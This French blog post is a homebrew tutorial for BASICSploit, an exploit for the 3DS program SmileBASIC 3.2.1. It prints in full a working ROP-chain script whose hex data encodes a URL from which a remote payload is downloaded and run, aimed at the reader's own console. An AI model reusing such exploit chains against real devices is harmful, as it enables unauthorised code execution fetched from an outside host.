Custom Protocol

[3DS] MrNbaYoh publie son BASICSploit (pour SmileBASIC)

Vous êtes l'heureux possesseur du logiciel SmileBASIC sur votre 3DS ? Alors venez profiter des joies du hack dès maintenant !

MrNbaYoh n'a pas chômé ! Alors que le hacker venait de publier il y a quelques jours une vidéo prouvant qu'il avait réussi à exploiter une faille dans le programme SmileBASIC, voilà qu'il revient déjà à la charge en le partageant au grand public. Baptisé sobrement BASICSploit, cet exploit n'est pour rappel disponible que pour les joueurs nord-américains et japonais, étant donné que le fameux logiciel SmileBASIC (une sorte de jeu aidant à l'apprentissage du langage de programmation BASIC) n'est téléchargeable que sur les eShop US et JP.

SmileBASIC 3DS hack exploit kernel MrNbaYoh


0) Pré-requis

  • Une 3DS avec SmileBASIC en version 3.2.1 ;
  • Le homebrew starter kit.

Vérifiez bien que vous êtes connecté à internet, en vous rendant dans le menu Home de votre 3DS et en touchant le petit bouton en haut à gauche de l'écran inférieur (avec l'icône en forme de maison).

Wi-Fi active sur 3DS verification

Notez que BASICSploit n'est compatible qu'avec la version US pour l'instant, mais que l'on peut espérer un portage pour la mouture JP dans un futur proche.

1) Mini-tuto

1.A) La première fois

Décompressez l’archive du homebrew starter kit à la racine de votre 3DS. Si vous ne savez pas comment lier celle-ci à l’ordinateur, consultez ce court tutoriel.

Lancez SmileBASIC, et créez un nouveau projet nommé "BASICSPLOIT" ainsi qu'un nouveau fichier nommé "DOWNLOADER". Écrivez (à la main...) dans ce nouveau fichier le script qui suit :

IF HARDWARE==1 THEN
   CODE_LINEAR_BASE=&H30000000+&H07C00000-&H00100000
ELSE 
   CODE_LINEAR_BASE=&H30000000+&H04000000-&H00100000
ENDIF


DATA &HDEADC0DE, &H13341C, &H94500D3, &H109924, &H1E6790, &H10ECA4, &H94500A0, &H1C15D8, &HDEADC0DE, &H94500D7, &HDAFC9754, &H115D5C, &H248720, &H94500DB, &H9450108, &H1DFECC, &H9450074, &H256D78, &H109924, &H2554DC, &H1000, &H248A8C, &HDEADC0DE, &H1FBA38, &H70747468, &H6D2F2F3A, &H61626E72, &H2E686F79, &H68746967, &H692E6275, &H61622F6F, &H73636973, &H696F6C70, &H73752F74, &H3132335F, &H725F642F, &H622E706F, &H6E69


DIM ROP[&H27]
ROP[0]=CODE_LINEAR_BASE

FOR I=1 TO &H26
   READ ROP[I]
NEXT

BGSCREEN 0,134217728,16

ROP_COPYBASE_X = 406873
ROP_COPYBASE_Y = 7

ROP_LENGTH = LEN(ROP)

I=0
J=ROP_COPYBASE_Y
X=ROP_COPYBASE_X

WHILE I < ROP_LENGTH
  WHILE I < ROP_LENGTH AND J >= 0
    WORD=SHIFT(ROP)
    BGPUT 0,X,J,WORD
    DEC J
    BGPUT 0,X,J,WORD>>16
    DEC J
    INC I
  WEND
  INC X
  J=15
WEND

BGPUT 0,4759,2,"0017"
BGPUT 0,4759,3,"0D28"

FILL ROP,0

END

Lancez le script. Le programme devrait télécharger toutes les ressources nécessaires puis lancer le menu in-game. Une fois arrivé dessus, choisissez l'option "Download/Update" pour télécharger le payload du hax. Quand il sera téléchargé, vous n'aurez plus qu'à le lancer avec la première "entrée" du menu.

1.B) La seconde et les prochaines fois

Lancez simplement le script nommé "BASICSPLOIT" pour accéder au Homebrew Launcher.


N'hésitez pas à poser vos questions ou à réagir en commentaire ! ;)

Wirus

Avez-vous déjà vu un gentil virus ? Maintenant, oui.

0 commentaire

Connectez-vous pour laisser un commentaire

Informations COVID–19

Statistiques COVID–19 en direct pour le pays
France
Confirmé(s)
118 781
Guéri(s)
23 413
Mort(s)
12 228
Dernière mise à jour : 3 minutes (il y a)

Suivez-nous

Venez, on n'est pas méchants, on est même très sympas ! 🙂

Nouveaux sujets

SD2VITA sans carte memoire origine vita ?
10 April 2020, 11:25 par yaounshow
[Question] la psp ne démarrait plus ....
9 April 2020, 14:44 par yaounshow
Idées Homebrews HENkaku
9 April 2020, 07:51 par Wirus
Enfin mon inscription sur le site
9 April 2020, 07:50 par Wirus
Reprendre le hack sur une console en 3.60
9 April 2020, 07:46 par yaounshow

Catégories

Archives

Informations COVID–19

Statistiques COVID–19 en direct pour le pays
France
Confirmé(s)
118 781
Guéri(s)
23 413
Mort(s)
12 228
Dernière mise à jour : 3 minutes (il y a)
Bannière Hypsoma

Informations COVID–19

Statistiques COVID–19 en direct pour le pays
France
Confirmé(s)
118 781
Guéri(s)
23 413
Mort(s)
12 228
Dernière mise à jour : 3 minutes (il y a)

Suivez-nous

Venez, on n'est pas méchants, on est même très sympas ! 🙂

Catégories

Archives

Coronavirus (COVID–19)

En raison de la pandémie du nouveau coronavirus qui s'est répandu et continue de se répandre dans le monde entier, nous invitons nos lecteurs à rester chez eux le plus possible et à ceux résidant actuellement en France à prendre connaissance des décisions gouvernementales concernant le confinement.